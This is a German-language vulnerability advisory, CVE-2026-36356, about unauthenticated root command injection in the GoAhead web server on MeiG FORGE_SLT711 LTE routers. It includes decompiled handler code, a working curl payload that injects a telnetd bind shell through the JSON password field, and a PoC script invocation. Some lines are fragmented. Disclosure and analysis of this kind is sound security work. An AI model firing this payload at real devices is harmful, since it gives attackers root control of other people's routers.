
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - Nicht authentifizierte OS-Befehlsinjektion (RCE als root)
/action/SetRemoteAccessCfg)Der mit MeiG Smart FORGE_SLT711 4G-LTE-CPE-Geräten gebündelte GoAhead-Webserver stellt einen nicht authentifizierten HTTP-Endpunkt, /action/SetRemoteAccessCfg, bereit, der benutzergesteuerte JSON-Eingaben ohne Bereinigung in einen Shell-Befehl interpoliert. Eine einzelne nicht authentifizierte POST-Anfrage führt beliebige Befehle als root aus.
Zwei unabhängige Grundursachen: ein fehlender Authentifizierungs-Routingeintrag und eine unsichere sprintf() → system()-Konstruktion im Handler.
MDM9607.LE.1.0-00110-STD.PROD-1 (Modem-Firmware BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)Der anfällige Code befindet sich im eigenen Aktions-Handler von MeiG, nicht im Upstream-GoAhead. Andere Firmware-Versionen dieser Produktlinie sind wahrscheinlich betroffen; nicht unabhängig verifiziert.
| Gerät | Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| Kernel | Linux 3.18.48 |
| Firmware | MDM9607.LE.1.0-00110-STD.PROD-1 |
| Datum |
Die GoAhead-Routenkonfiguration /var/www/route.txt listet authentifizierte Routen (Zeilen 64–150) mit auth=basic auf. /action/SetRemoteAccessCfg befindet sich nicht in dieser Liste. Das Routing fällt auf die Catch-all-Route in Zeile 156 durch:
route uri=/action handler=action
Die Catch-all-Route besitzt kein auth=basic, daher kann jeder HTTP-Client /action/SetRemoteAccessCfg ohne Anmeldedaten aufrufen.
Der Handler bei Offset 0x0003c6d8 in /usr/bin/goahead dekompiliert zu:
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
Das Feld password wird innerhalb doppelter Anführungszeichen interpoliert. $(...)-Substitution und `...`-Backticks werden innerhalb doppelter Anführungszeichen expandiert, sodass ein Angreifer den Shell-Befehl kontrolliert. system() läuft als uid=0, da der GoAhead-Prozess als root läuft. Keine Eingabevalidierung, kein Escaping, keine Zeichen-Whitelist.
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py (zusammen mit diesem Advisory veröffentlicht):
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
Die Ausnutzung erfolgt blind – die Befehlsausgabe ist nicht in der HTTP-Antwort enthalten.
password-Puffer: 64 Byte| 2026-02-21 |